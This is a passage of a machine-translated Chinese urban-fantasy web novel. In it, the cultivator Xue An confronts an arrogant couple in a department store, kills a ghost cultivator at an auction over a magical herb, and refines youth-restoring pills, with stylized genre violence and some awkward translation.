    Between gestures, like an emperor, people dare not look down upon it.


    But it was always obscured by Xue An''s outdated clothes.


    After putting on decent clothes now, Xue An''s golden ratio figure is undoubtedly revealed. Many sales ladies can''t help but lower their heads, wondering in their hearts.


    This man''s figure is simply too bad!


    Qin Yu also saw his heart beating faster, and couldn''t help but stagger his eyes, not daring to look again.


    It''s Fan Mengxue, showing an obsessive look without shy.


    "Wow, Baba is so handsome!" Xue Xiang shouted with a grin. UU reading www.uuk��nshu.com


    "Sister, what is handsome?" Xue Nian asked.


    Xue wanted to wrinkle his cute little nose, and knocked Xue Nian''s head again, "Let you eat less, you just won''t listen, handsome means good-looking!"


    "Oh! Ba Ba, you are so good-looking!" Xue Nian also said with a smile.


    But the names of the two little girls shocked the hearts of many sales ladies.


    This man already has a child?


    What a pity!


    "Mengxue and I are going to choose clothes for the two little girls, do you want to go?" Qin Yu asked.


    Xue An shook his head, he didn''t want to go shopping with women.


    Even Xianzun can''t bear the pressure of shopping with women.


    "Then you wait here first."


    Qin Yu led Xue Xiang and Xue Nian away.


    Xue An sat on the sofa and just wanted to take a break.


    There was a voice that was too sweet, "husband, that dress is good, it fits your figure well, husband, try it too!"


    Xue An raised his head, and came a man with a beer belly, with a beautiful young girl beside him.


    It was this girl who was speaking. Hearing her say this, the beer belly man said very proudly: "Okay, isn''t that hard to say? Come on, bring me this dress."


    The sales lady hurried forward, "Excuse me, sir, this style of clothes is gone, would you like to look at the others?"


    The beer man''s face sank, and the woman pointed at Xue An very dissatisfied, "How come it''s sold out? Isn''t he wearing it?"


    "Sir, I have tried it."


    "What if I try it out? I have to buy what I like and let him take it off!" The woman was very arrogant.

 Chapter 28： You are so arrogant, do your parents know?

    The sales lady glanced at Xue An with some embarrassment, but found that Xue An''s eyes were down and she didn''t know what she was thinking.


    Xue An��s silence made this woman more arrogant.


    "Have you heard it? We saw it, then this dress belongs to us, let him take it off!"


    "Miss, there is no such precedent..."


    Beer belly man suddenly sneered: "Go and call your manager over, I want to see if there is such a precedent!"


    The sales lady is a little helpless, but as a sales clerk in a high-end shopping club, everything is her bounden duty to meet customer requirements.


    At this time, Xue An still said nothing.


    The sales lady couldn''t help but feel a little contemptuous.


    looks good, but it turns out to be so useless.


    A few minutes later, Zhao Feng, who was in charge of the menswear department, arrived.


    After seeing the beer belly man, Zhao Feng''s face almost burst into laughter, and he hurriedly greeted him.


    "It turned out to be Mr. Sun, long time no see, long time no see!"


    The beer belly man called Mr. Sun snorted coldly from his nostrils, "Xiao Zhao, the waiter under your hand is not good!"


    "Mr. Sun, what''s the matter?"


    "My woman fell in love with a set of clothes, but only one set is left. When the man is wearing, we ask him to take it off. This request is not excessive!" Mr. Sun said proudly.


    "Not too much, not too much!"


    "Then the person under your hand actually said there is no such precedent!"


    "I''m really sorry, Mr. Sun, maybe I didn''t discipline them well and bumped into you! I will teach them now!"


    This Zhao Feng turned around and said angrily at several sales ladies: "You dumb guys, do you know who this is? This is the security manager of our Longtai Group. You are all blind? Confronting Mr. Sun!"


    These sales ladies were all silent, lowered their heads and dared not say anything.


    "Mr. Sun, I will teach them well in the future, what do you think?" Manager Zhao said flatly.


    Sun Bo nodded blankly.


    He relied on his identity and felt that talking to this Manager Zhao too much was a shame.


    After all, Yinlong Commercial Building is only one of the many industries of Longtai Group. Compared with a small lobby manager here, his security department manager of Longtai Group has a lot of gold.


    "And that dress! We want it too, let him take it off!" This young and pretty woman was even more arrogant.


    "Yes, yes! Don''t worry, I will do it for you!"


    Manager Zhao turned to Xue An, who bowed his head and said silently: "Mr., you have also seen that Mr. Sun really likes the suit on you, so you can take it off and give it to him. Anyway, you haven''t paid for it, which is nothing. !"


    Although this manager Zhao patiently persuaded him, he did not take Xue An seriously.


    But as soon as he finished speaking, Xue An slowly raised his head and raised his eyebrows slightly, "What did you just say?"


    Zhao Feng wanted to explain it again, but when he saw Xue An''s eyes, he couldn''t say anything.


    The woman who accompanies Sun Bo is a female college student named Cao Qian who has just graduated.


    After all my efforts, she finally climbed onto the big tree of Sun Bo. She was already arrogant, so she saw Zhao Feng stunned, so she stepped forward and sneered: "Hey, what about you? Take off your clothes."


    "Undress?" A faint smile appeared on the corner of Xue An''s mouth.


    "Don��t install garlic. Didn��t you hear it just now? My husband is also interested in this suit. Nothing happened after you took off, otherwise..."


    "Otherwise?" Xue An said lightly.


    "Otherwise, you won''t even be able to get out today." Cao Qian said arrogantly.


    "So you are the security manager of Longtai Group?" Xue An looked at Sun Bo and said thoughtfully.


    "Yes, get out if you are acquainted, or let you know how powerful Longtai Group is!" Cao Qian said triumphantly.


    Xue An couldn''t help sighing, "It''s a pity."


    "What a pity?"


    "Unfortunately, someone else has to die today."


    Xue An didn''t intend to cause trouble, but if someone provokes him, then killing someone in the street is just a little troublesome.


    "Dead? Haha, it''s really funny, I don''t believe it..." Cao Qian wanted to say something, but she didn''t have a chance to say it, because she was slapped by Xue An''s slap and hit her On the clothes rack.


    boom.


    The clothes rack was knocked down by a large area. When she got up again, her pretty face was already swollen like a watermelon. At the same time, her mouth was full of blood, and even her teeth were crushed by Xue An''s slap.


    Xue An said lightly: "Forgot to say, I hate women who talk a lot!"


    This shocking blow made everyone stunned.


    Including the sales lady who despised Xue An just now, she was shocked at this moment.


    This man... so amazing!


    Sun Bo''s angry eyelids twitched, "Okay! You dare to make trouble here, boy, you''re done, wait for me!"


    Sun Bo took out his mobile phone while talking, Xue An just looked at it playfully, but did not stop it.


    Soon, Sun Bo hung up, staring at Xue An with cold eyes.


    The look in his eyes is like looking at a dead person.


    Within five minutes, a mess of footsteps came and dozens of security guards rushed over.


    "Mr. Sun, what''s wrong?" the lead security asked.


    Sun Bo pointed at Xue An, "This man actually hit my woman! Kill him!"


    "Yes!"


    These security guards surrounded Xue An.


    Many people hide far away and dare not approach.


    But Xue An has not even stood up until now, still sitting on the sofa, looking at Sun Bo with a playful look.


    "You are so arrogant, do your parents know?" Xue An asked suddenly.


    "Fart, my parents are dead early!"


    "No wonder!" Xue An nodded, "Then remember when you go down to see your parents and tell them that you died because of stupid arrogance!"


    Sun Bo was furious, "Go on, give it to me, let him go!"


    But at this moment, a female voice full of anger came.


    "What are you doing?"


    This voice made Sun Bo tremble, who had a sullen face, and when he looked back, he found that Qin Yu was standing not far away with an angry face.


    Sun Bo looked shocked, why is Qin Yu here? But he changed his smile quickly, "Miss, this man is making trouble in our commercial building, I''m about to clean him up!"


    Qin Yu ignored him at all. Instead, he walked straight to Xue An and said respectfully: "Mr. Xue, please also look at my face, don''t care about these people!"


    This scene froze Sun Bo, who was already winning, and Zhao Feng who was watching the excitement.


    As for the sales ladies, they were even more stunned.


    This woman turned out to be the eldest Miss Qin Yu of Longtai Group!


    Then... who is this man?


    Why can Miss Qin be so respectful?

 Chapter 29： Auction One

    Xue An looked at Qin Yu indifferently, and did not speak.


    And this silence made Qin Yu''s face gradually hard to look.


    at last.


    She couldn''t help but turned around and said angrily: "You two, pack things now and get out of here! You will not be allowed to step into the Longtai Group for half a step in the future."


    This decision made the faces of Sun Bo and Zhao Feng look desperate.


    In Beijiang, being able to enter the Longtai Group is a very enviable thing.


    Especially Sun Bo, he finally got the post of Director of the Security Department of Longtai Group, earning a lot of money every year.


    Now because of this man, he was kicked out by the eldest lady.


    Sun Bo, like a concubine in a funeral, thumped and knelt on the ground and started begging for mercy.


    "Miss, I beg you to give me a chance, I will never dare to do it again! All this is because of the provocation of that woman, I was confused and offended this Mr. Xue for a while, please give me a chance. ."


    Sun Bo banged his head while talking.


    Soon, blood oozes from his forehead.


    As for Cao Qian...


    At this moment, she was so scared that she shrank into the corner, she didn''t even dare to show the atmosphere.


    Qin Yu was expressionless.


    She hated these two guys who were not successful enough.


    If it weren''t for the fear of the matter, she wouldn''t bother to intercede for them.


    At this moment, Xue An stood up and said faintly: "Face is earned by people, and it is used once less once, so I hope that in the future, it is best not to let me look at your face again."


    After that, Xue An picked up Xue Xiang and Xue Nian, and left first.


    Qin Yu glared at Sun Bo ferociously, "Get out of here!"


    Sun Bo trembled all over, with a look of despair on his face.


    Qin Yu said to the already scared saleswoman: "Pack all the clothes you just looked at."


    "Yes!"


    After leaving the Yinlong Commercial Building, Xue Xiangcai quietly leaned into Xue An��s ear and said, "Baba, are our new clothes beautiful?"


    At this moment, Xue Xiang and Xue Nian are wearing pink princess dresses, they are so cute.


    Xue An only looked spoiled when facing his two daughters, "It''s pretty, like two little princesses."


    At this time, Qin Yu ran out, very apologetically trying to say something.


    Xue An said lightly: "Drive!"


    This auction was not in the city, but in a hilltop villa on the outskirts of Beijiang.


    When Qin Yu drove here, luxury cars were already gathered outside the villa.


    But when Qin Yu''s car arrived, it still attracted the attention of many people.


    "Isn''t this Qin''s car?"


    "Yes! It looks like Miss Qin''s car!"


    "Hey, how can Qin Yu drive by herself?"


    Many people talked about it, but after Qin Yu got out of the car, instead of walking into the venue, she opened the door respectfully.


    Many people''s eyes widened.


    The dignified lady of Longtai Group actually opened the door by herself,


    What is the origin of this person?


    Fan Mengxue was the first to get off the bus first.


    Many people recognized her, and they couldn''t help but let out a low exclamation.


    "Fan Mengxue!"


    "Did she come to Beijiang, too?"


    But after Fan Mengxue got out of the car, he did not leave, but stood on the other side.


    It seems that she is also waiting for an important guest.


    Many people''s eyes are attracted.


    Who is in this car?


    is so exciting?


    But waiting for the next moment, it was actually two little girls who got out of the car.


    The two little girls, in their hair buns and princess dresses, look exactly the same, just like a pair of little fairies walking out of the painting.


    Finally, Xue An walked down slowly.


    As soon as he appeared, many people began to whisper.


    "Who is this man?"


    "I don''t know it! But it looks like a big deal!"


    "Well, looking at Qin Yu''s appearance, he respects this man very much!"


    Xue An looked around in the field of view, and then walked forward calmly.


    And at this moment, Qin Yuan strode out of the house, and then rushed to Xue An in the eyes of everyone''s astonishment, bowing his head respectfully.


    "Mr. Xue, you are here!"


    Xue An nodded.


    But he didn''t know that this move of Qin Yuan caused a huge wave in the hearts of many people.


    What is Qin Yuan''s identity?


    The actual controller of the Longtai Group can be said to be one of the best in Beijiang.


    Although he has been emptied by Qin Tian for more than a year. But still not to be underestimated.


    is such a character, who must be so respectful to this man.


    What is his origin?


    But just when people were shocked, a voice that contained mockery came.


    "What a great person I am, I turned out to be a stinky hairy boy!"


    With this voice, an old man wearing a Tang suit and holding two big iron **** walked into the venue slowly.


    The appearance of this person made many people stand up.


    "I have seen Master Tan!"


    "Meet Curator Tan!"


    The old man nodded blankly, then walked to Qin Yuan and smiled.


    "Old Qin, long time no see, good spirits!"


    When Qin Yuan saw him, he held a fist in respect, "Chancellor Tan, here you are!"


    "Of course we will come, after all, we have been in a relationship for so many years, knowing that you have something right now, can I not come to help?" the old man said lightly.


    This old man is the largest martial arts hall in Beijiang. Tan Dong, the old curator of Beiwu Hall in the town of UU Reading www.ukanshu.com.


    He is also a good friend of Qin Yuan.


    He also heard about Qin Yuan''s recent situation, so he came here to help.


    But when he got out of the car just now, he saw Qin Yuan''s respect for a young man.


    This makes Tan Dong quite dissatisfied.


    In his opinion, Qin Tian is not enough.


    As long as you go out on your own, it can definitely be solved.


    But Qin Yuan''s respect for a man of unknown origin is obviously not convinced of his own strength.


    So he looked at Xue An quite provocatively. After looking up and down for a long time, he found that Xue An was thin and didn''t look like a martial artist at all, so he couldn''t help but disdain even more.


    "Where is this little brother from?" Tan Dong asked.


    Xue An didn''t pay attention to him at all, just holding a daughter in one hand, and slowly walked past Tan Dong.


    Tan Dong''s face is a bit uncontrollable now.


    What a crazy kid!


    Hmph, but I''ll let you know in a while, **** has to be old and spicy.


    As Qin Yuan''s identity, naturally there is a separate box.


    Xue An and others entered this box, drank tea, and waited for the opening.


    But while waiting, there was a commotion outside. It turned out that Qin Tian led a thin old man in.


    As soon as he saw this old man, Xue An raised his eyebrows slightly.


    This person smells of ghost repair.


    Gui Xiu is a major genre in the world of Xiu, and there are many masters in it. For example, the Ten Temples of the Nether World, Yama, are among the best.


    The cultivation base of this man is too shallow.


    But Xue An can now be sure that the female ghost on Qin Yuan is definitely under him.

 Chapter 30： Auction Two

    "Is that the so-called expert Qin Tian found?" Tan Dong asked with disdain.


    Qin Yuan nodded, "It shouldn''t be wrong!"


    Tan Dong seemed to have heard some joke, he laughed, and then said: "Old Qin, leave this to me. I can crush this old man with one punch!"


    After finishing speaking, Tan Dong still looked at Xue An in a demonstration, only to find that Xue An looked indifferent and didn''t seem to hear his words at all.


    The contempt in his heart can''t help being more than three points.


    As a warrior, the most important thing is to cultivate the tone in your heart.


    The so-called poor and humble cannot be moved, and the mighty cannot be yielded.


    That is to say, you can''t shrink back on any occasion, otherwise, even if you have a high level of ability, you will lose your spirit.


    But now that he has been provoking again and again, this man has not accepted the move at all.


    Is this obviously a counsel!


    Tan Dong felt that Xue An did not pose any threat, so he cast his eyes outside.


    At this time the auction has already begun.


    Qin Tian and Liu Shou sat in the corner.


    The beginning of the auction was all ordinary jewelry, and neither Qin Tian nor Qin Yuan sold them.


    It wasn''t until about halfway through that someone held up a box.


    At this time, the auction host said: "The next thing I will present to you is a strange thing. It was obtained by a tourist accidentally in the mountains. But we don��t know what it is for. Take a look!"


    said the box was opened.


    is actually a small dead tree sapling.


    There was a commotion under the stage, and many people couldn''t help but laugh in a low voice.


    "This thing is still a strange treasure? Then I have more of them!"


    "Is this funny?"


    The arguable voice gradually subsided, because this young sapling began to grow and sprout at a speed visible to the naked eye, and then bloom and bear fruit at an extremely fast speed.


    This miraculous scene made many people lose their voices.


    Xue An couldn''t help but feel very real when he saw it in the room.


    is actually gentian.


    This is a kind of spiritual grass that only grows in places where there is dragon energy. It is a very common medicinal material, and it is also indispensable for refining many pills.


    But Xue An did not expect to see it on the earth.


    At this moment, Liu Shou in the audience is full of red awns.


    "That''s it!"


    It is this treasure that Liu Shou is waiting in Beijiang.


    With it, Liu Shou can break through the existing realm and even extend his life.


    This was a great temptation for Liu Shou.


    So Liu Shou said coldly: "Buy it!"


    Qin Tian obeyed Liu Shou''s instructions and immediately began to bid.


    Xue An also said to Qin Yuan at this time: "Bought it!"


    There were still many people asking for prices at the beginning. After all, the pictures just now made many rich people interested in it.


    But over time, the only people left are Qin Yuan and Qin Tian.


    At this moment, the price has been called to an extremely terrifying 110 million.


    Such a small tree sapling was sold at this price.


    Many people are a little unexpected.


    But at this moment many people have also seen some clues.


    This is Qin Tian and Qin Yuan competing with each other.


    after Qin Yuan bid the high price again.


    Liu Shou finally couldn''t hold back, stood up and sneered at the box.


    "Qin Yuan, are you impatient to live?"


    This sentence made the auction hall quiet.


    Qin Yuan stood by the window of the box at this time and smiled slightly, "Why? I can''t afford it and I am impatient?"


    Liu Shou grinned, "I didn''t intend to make the matter worse. Since you are looking for death, you can''t blame me!"


    said that Liu Shou suddenly got up and moved towards Qin Yuan.


    He has made up his mind to kill this Qin Yuan first, and then ran away with the gentian.


    When he just rushed to the front, Tan Dong sneered, "Good job!"


    Then he punched out.


    Although this Tan Dong is a little older, he hasn''t let go of his kung fu. After this punch, it was like setting off a firecracker in the house.


    A smug smile appeared at the corner of Tan Dong''s mouth.


    A daughter is hard to buy a sound.


    With his punch, let alone a person, even a stone can be broken.


    Before the ridiculous smile disappeared, he froze.


    Because Liu Shou didn''t evade at all, he just received the punch with his back.


    Peng.


    There was a muffled sound.


    Tan Dong felt that the punch seemed to hit a decayed corpse, and there was no effort at all.


    Just for a moment, Liu Shou sneered and said, "On this point, you dare to stop me?"


    said Liu Shou swept out with a palm.


    Tan Dong tried his best to evade, but was still hit by Liu Shou''s palm. He flew back twenty steps away, and then spouted a mouthful of blood.


    At the same time, Tan Dong shouted in horror, "Real person, have you stepped into the realm of real person?"


    Liu Shou stood proudly, "Yes, if you can die in my hands, it is your good fortune!"


    A look of despair appeared on Tan Dong''s face.


    Reality.


    That is the realm that Tan Dong dreams of.


    Only when you step into the realm of a real person can you be considered a real master.


    Liu Shou stretched out his hand at this time, just grabbing Qin Yuan, and then sneered: "Originally, you should have died a long time ago. I didn''t expect someone who didn''t open your eyes to save you, but now you are still alive. Give it to me ...."


    At this moment, Xue An lightly sighed, "What''s the point of fighting and killing? Sit down and have some tea, okay?"


    Tan Dong looked at Xue An like a fool, UU reading said that this guy came to be funny?


    Liu Shou also noticed Xue An at this time. He looked at it for a moment, then grinned and said, "What did you say?"


    Xue An stretched, then lowered his head and smiled at Xue Xiang and Xue Nian: "You two will go out with Aunt Mengxue now, okay?"


    "Ok!"


    Fan Mengxue led the two little girls away.


    Then Xue An said lightly: "I mean, just like a three-legged cat, don''t pretend to be superior!"


    Liu Shou��s face instantly turned greenish, "I wanted to kill you, but now I have changed my mind. I will torture you to death bit by bit, and the two little girls, I will also practice them. Adult women..."


    I didn''t finish the words behind, because Xue An had already appeared in front of him, and then punched out blankly.


    actually used Xue Xiang and Xue Nian to threaten herself.


    Then go to death.


    This punch was unremarkable, even a bit slow.


    But with just such a punch, Liu Shou couldn''t even hide.


    He was extremely horrified to find that his whole body seemed to be blocked, and he couldn''t even move.


    boom.


    This punch seemed to be shocking, and it seemed to drop a huge boulder on the calm water.


    Liu Shou, as if hit by dozens of elephants, flew upside down, vomiting blood in his mouth.


    This doesn''t count.


    The power of this punch even spread to the buildings behind.


    Peng! Wow!


    After a violent noise.


    Half of the ceiling of the hall was knocked off by Xue An''s punch.


    The stars in the sky shone down.


    shines on every stunned face.

 Chapter 31： Look at me with a punch... move the world!

    The smoke and dust gradually dispersed.


    Xue An retracted his fist and said faintly: "I said a long time ago that fighting and killing are boring, but no one would listen."


    No one dares to answer.


    A joke, the man who crashed the house with one punch, who would dare to take the conversation casually?


    As for the curator Tan Dongtan, he was even more ashamed at this moment to find a place to sew in.


    I looked down on others just now?


    still dare to ridicule?


    Who gave yourself the courage? Gigi Leung?


    Xue An slowly walked out of the box and headed towards the gentian on the stage.


    When passing by Qin Tian, ??Xue An glanced at him.


    It was this indifferent glance that made Qin Tian feel that his blood was solidified.


    That extreme fear made him tremble all over.


    Liu Shou is now under the ruins, life or death uncertain.


    I thought that relying on an expert like Liu Shou, he could easily get rid of Qin Yuan and his grandson.


    But I did not expect that a guy suddenly popped out and disrupted all the plans.


    At this moment, one of the people present was also surprised and scared.


    He is Hong Ming''s father, Hong Yuan, the head of the Hong family.


    He came to the auction this time, and he has been hiding in the corner without attracting anyone''s attention.


    He came here to pay off the debt owed by his son.


    What Qin Yu said to him clearly, the total is 4,999,999,900 yuan.


    Hong Yuan didn''t dare to defy, so he had no choice but to collect the money and bit his head and came to this auction.


    But he moved his eyes, and did not hand over the money immediately, but hid away to see the limelight.


    After all, Qin Tian is in great power now, this is something that many people know.


    And my family has a good relationship with Qin Tian.


    If Qin Tian can overthrow Qin Yuan, he would have saved more than 40 million.


    I didn''t expect that Xue An, who was already mentally abnormal, who stimulated his son would be so powerful.


    shot people flying out with just one punch.


    Now Hong Yuan is also shocked and scared, and regrets why he didn''t give the money first.


    Xue An stepped onto the stage and sighed while looking at this gentian.


    I think that at the beginning, this kind of medicinal material didn''t have a straight eye, but now it''s good, and it should be treated like a baby.


    Xue An stretched out his hand, just about to touch this spiritual grass.


    The floor of the hall suddenly began to tremble.


    A horrible breath came from the ruins, and then a strong man with a height of about two meters and a muscular knot pushed aside the ruins on his body and appeared in front of everyone.


    "Hey, you can force me out of this form, kid, you''re so proud of yourself!" said the strong man sadly.


    is actually Liu Shou!


    He is not dead yet!


    Qin Tian couldn''t help being ecstatic, "Liu Shenxian is mighty!"


    Hong Yuan was even more excited, and no longer concealed it, he immediately jumped out, "Chairman Qin, help from other people, you can achieve great things!"


    Qin Tian couldn''t help laughing when he heard Hong Yuan say this.


    Only Xue An frowned slightly, "It stands to reason that you shouldn''t be able to use such a secret method now unless you burn your lifespan."


    Liu Shou sneered: "Boy, you have a good vision, but unfortunately, you still have to die!"


    "Oh? Really?" Xue An smiled faintly, "Then come on! Let me see how good you are!"


    Liu Shou rushed over.


    This time, he was extremely fast, and he jumped up and punched out in midair.


    This punch is so powerful that it even caused a gust of wind in the hall.


    Xue An didn''t hide, but stood there quietly.


    A triumphant smile appeared on the corner of Liu Shou''s mouth.


    Xue An is right. This secret method of ghost energy entering the body cannot be used in his current realm. This is an act of burning longevity.


    But now Liu Shou doesn''t care about this anymore. As long as he can get this gentian, then he can break through the real person and step into the realm of happiness.


    By then, who will be your opponent?


    Peng.


    There was a muffled sound.


    Xue An was fisted by Liu Shou and flew out, crashing directly into a wall, and then there was no sound.


    "Ah!" Qin Yu exclaimed.


    Qin Yuan''s face also became serious.


    Only Tan Dong frowned slightly, then calmed down slowly.


    But Qin Tian, ??Hong Yuan and others were overjoyed.


    "Liu Shenxian is mighty!"


    As long as Xue An dies, no one will stand in front of him.


    The crowd onlookers was also in an uproar.


    Is this Liu Shou so good?


    Xue An is probably too bad for you!


    Many people are thinking about it.


    Liu Shou was quite proud, and then looked at the gentian plant on the stage with hot eyes, which was his hope in the future.


    Liu Shou was about to reach out and touch it.


    A faint voice came.


    "I wanted to try how good you are in this state, but unfortunately... you disappointed me too much."


    Qin Tian, ??Hong Yuan and others who had been cheering for joy were stunned.


    Qin Yu covered his mouth, tears of excitement and joy in his eyes.


    A figure slowly walked out from the collapsed wall.


    After passing through the dust and fog, it was Xue An with an indifferent expression.


    Although Liu Shou fisted and flew out, Xue Anhun was still so spotless at the moment, even his hairstyle was not messed up.


    Liu Shou is also a little surprisedHow is it possible? "


    Liu Shou is confident that his fist can smash steel into scrap.


    Could it be that this man is tougher than steel?


    seemed to be aware of Liu Shou��s question, Xue An smiled lightly, ��Don��t doubt, you are too weak!��


    Then Xue An stretched out a finger towards Liu Shou, "Let''s go with you, you punched me, then now it''s my turn!"


    After saying these words, Xue An''s toes dropped, and the whole person rushed into the air, then stretched out his right fist and gave a faint sip in the air.


    "Look at me with a punch... Move the world!"


    This punch is unremarkable.


    But just as they were falling, everyone felt that the whole world was shaking, and some people even stood unstable and fell directly to the ground.


    Liu Shou finally showed a look of horror, "Rao..."


    I didn��t say the fate behind him, Xue An��s punch had already hit his head.


    ��.


    Liu Shou, a man who was transformed by a secret method, was smashed into the ground by this punch, his head even directly in his stomach.


    The whole person went from more than two meters high to less than one meter.


    Blood and brain plasma splashed all over the ground.


    Xue An fell on the spot, holding his hand and standing, like a god.


    Qin Tian and Hong Yuan were already scared, especially Qin Tian, ??they felt hot in the crotch, and they were scared to urinate.


    But at this moment, a cloud of black mist emerged from Liu Shou''s body, and then rushed towards the window.


    Xue An said lightly: "Do you think you can still go?"


    Talking about scratching his fingers, Xue An held the black mist in his hand.


    Hei Mist struggled hard, Xue An shook his hand abruptly, and Hei Mist was squeezed apart.


    The whole audience was silent.

 Chapter 32： Advanced version of Pei Yuan Dan!

    Xue An looked around the audience, and when they passed the line of sight, many people showed fear and evasive.


    Qin Tian was even more dumbfounded, because he knew that it was over!


    Everything is over!


    The existence that he regarded as a **** was beaten by this man.


    Then he wants to clean up himself, wouldn''t it be easy?


    As for Hongyuan...


    At this time, he can''t wait to slap himself twice.


    If I wasn''t so excited just now, or if I paid all the money in advance, then I guess I won''t fall to this point now.


    But Xue An didn''t care much about these two people.


    He has done what Qin Yu promised.


    As for how to deal with Qin Tian in the next step, it is not my responsibility.


    Xue An picked up the gentian, turned and left.


    just waited for him to leave.


    Everyone''s heart was relieved.


    Hong Yuan was the first to clarify his relationship with Qin Tian, ??then took out his bank card and smiled flatly at Qin Yu: "Miss Qin, there are more than 50 million in this, and the rest will be regarded as our Hong family��s respect. Please say a few words in front of Mr. Xue!"


    After that, Hong Yuan ran away griefly.


    At this time, Qin Tian also walked up to Qin Yuan and suddenly fell to his knees.


    "Uncle, I gave up! Please spare my life."


    Qin Yu also owes Qin Tian a little favor.


    But Qin Yuan still couldn''t help but sighed, "Qin Tian, ??I won''t kill you, you will leave Beijiang from now on and never come back!"


    "Thank you, Uncle!"


    After speaking, Qin Tian also left in a desperate manner.


    At this point, all the dust has settled.


    Qin Yuan brought Qin Yu to see Xue An.


    "Thank you Mr. Xue for this shot, Yuer and I are grateful!"


    Xue An shook his head, "You don''t need to thank you, this gentian is your thanks, but I have one more thing."


    "Sir, please speak!"


    "I want to know who discovered this gentian plant and where he found it!"


    "No problem!" Qin Yu agreed.


    at the same time.


    On the top of a high mountain thousands of miles away, among the sea of ??clouds, a white-haired old man is sitting on the futon and meditating.


    suddenly!


    The old man opened his eyes.


    There seemed to be a sword light flashing, and the white clouds floating in front of him broke apart.


    The sea of ??clouds was also cut through a passage that was hundreds of meters long.


    "Master!" a cold-faced man leaned down and shouted respectfully.


    The old man was silent for a while, and then said: "Your brother is dead!"


    The man gave a slight shock, "How is it possible?"


    "It''s really dead, just when my mind was empty, I realized that your brother is no longer alive!"


    "Who did it?" the man said coldly.


    The old man shook his head, "I don''t know, I can''t see through it! But although your brother has been addicted to the outside world over the years, his martial arts training has been delayed, but the person who can kill him is by no means ordinary!"


    "Yu Qing!"


    "The disciple is here!"


    "You go down the mountain first, to investigate who killed your senior, and then bring the head back to see me!" A harsh expression flashed across the old man''s face.


    "Yes!" Yu Qing bowed and stepped back.


    Yunwu has filled the gap just now, and the old man slowly stretched out a finger and gave a light drink.


    The clouds and mist that had obscured the sky were scattered directly by this blow, and the sunlight fell through this hole and shone on the old man''s head.


    is like a fairy.


    In the martial world, he is indeed a god-like existence.


    Because he refers to the old man, Yu Ling.


    "Baba, what is this thing!" Xue Xiang came over curiously and looked at the gentian in Xue An''s hand.


    "Yes, Baba, what is this? Can I eat it?" Xue Nian asked hopefully.


    Xue An squeezed Xue Nian��s face amusedly, "Little greedy cat, do you know how to eat?"


    "Then what is this?"


    "This is for refining pill medicine!"


    "Oh! Medicine!" Xue Nian instantly lost interest.


    This little girl has an almost fanatical love for eating.


    However, Fan Mengxue has been unsettled and seems to be thinking about something.


    After arriving at home, Fan Mengxue gritted his teeth and said: "Xue An, I want to... tomorrow you will accompany me to see that Stephen!"


    Xue An nodded, "Yes!"


    Fan Mengxue lowered her head, feeling a little sad in her heart.


    Doesn''t he stop himself?


    Fan Mengxue believes that as long as Xue An says, don''t go, then she will definitely put everything down, and then spend an ordinary life with Xue An.


    But Xue An did not say.


    This made Fan Mengxue a little sad.


    Xue An ignored these. He asked Qin Yu to buy a lot of precious medicinal materials and prepare to refine some advanced versions of Pei Yuan Dan tonight.


    Evening.


    Xue Xiang and Xue Nian are already asleep.


    Fan Mengxue has also returned to her room.


    Xue An took out the medicinal materials and started refining again.


    Now Xue An''s strength has been greatly damaged, and he can only use some true energy to form a real fire to refine the pill.


    But this is also a hundred times stronger than the secular ones.


    Soon, a strong medicinal scent spreads.


    Those precious medicinal materials were all refined by Xue An��s real fire, and then Xue An put the gentian grass in it.


    A faint dragon energy was quickly aroused by the real fire, and then it was refined into the pill.


    at last.


    Pei Yuan Dan was successfully refined.


    Xue An only refined three pieces this time.


    But compared to the Pei Yuan Dan given to Qin Yuan last time, UU Reading is several times higher in rank.


    Tang Xuan''er one, Fan Mengxue one, and then one for spare.


    Xue An planned this long ago.


    After everything was done, Xue An got up and went outside, but as soon as he opened the door, he found that Fan Mengxue was sitting on the sofa in a daze.


    Xue An stepped forward and handed her the pill.


    "what is this?"


    "Eat, good stuff!" Xue An said lightly.


    Fan Mengxue took it without hesitation, even if it was poison, as long as it was given by Xue An. She would eat it without hesitation.


    But within a few minutes after eating, Fan Mengxue felt a stinky sweat.


    This sweat stain is fishy and unpleasant.


    Fan Mengxue loves cleanliness the most, of course it is disgusting, so he rushed into the bathroom and started taking a shower.


    Xue An smiled slightly when he heard the sound of water.


    This is the real pill for cultivation.


    can remove the toxins accumulated on the human body, and then replenish vitality, so as to achieve the effect of prolonging life.


    At this moment, Fan Mengxue was also stunned in front of the bathroom mirror.


    Fan Mengxue was so beautiful, but because of the pressure of life for so many years, her skin was a little haggard.


    But when Fan Mengxue washed away the stench of sweat, she found that her skin had become tender and dripping.


    This state is not even comparable to when I was a teenager.


    Fan Mengxue thought of the pill for the first time.


    Could it be.......


    is it because of that pill?


    Then Fan Mengxue was shocked.


    What does it mean to make women return to youth?


    Fan Mengxue knows better than anyone.


    That would be a huge wealth that could be an enemy country!

 Chapter 33： gift?

    Heavy snow once again covered the city.


    The falling snowflakes made Xue Xiang and Xue Nian very excited.


    didn''t even care about breakfast, so he rushed downstairs and began to pile up snowmen.


    Xue An stood and watched with a smile.


    "Baba, look! Is my snowman beautiful?"


    "It looks good, I think the snowman is the most beautiful!" Xue An nodded while trying to understand what this strange snowball was.


    "These are Baba''s eyes!" Xue Nian put two stones on the snowball and said with a smile.


    "This is Baba''s mouth!" Xue Xiang painted an arc with discarded lipstick.


    Xue An looked at him with a smile, and then pointed to the blank snowman next to him.


    "Then what is this?"


    "Of course this is Ma Ma!" Xue Xiang said.


    "Then why does Ma Ma have no eyes and mouth?"


    Xue Xiang and Xue Nian lowered their heads, "We...have never seen what Ma Ma looks like. Aunt Xuan''er said that the one in the photo is our Ma Ma, but why Ma Ma has not come to see us?"


    Xue An felt a slight shock in his heart, then squatted down, and said very seriously: "I miss you, Nian''er, Ma Ma likes you the most, but she is busy with things, so she can''t come over for the time being. After a while, Baba belt I want you to see Ma Ma! Okay?"


    "Hmm!" The two little girls nodded together.


    At this moment, Han Yao came in a white Land Rover.


    She is still a little afraid of Xue An, so she stands far away and dare not come over.


    Until Fan Mengxue also went downstairs, Han Yao walked over and looked at Fan Mengxue in amazement.


    "You...what''s wrong with your face?"


    "What''s wrong with my face?"


    Han Yao was shocked.


    Because of the former Fan Mengxue, although he looks extremely beautiful, part of the credit comes from modern makeup techniques.


    But today''s Fan Mengxue, face up to the sky, without a trace of powder, but beautiful and thrilling.


    Especially the skin, it can be broken by a bomb.


    If Fan Mengxue used to be a nine-pointed beauty, now she is a true goddess.


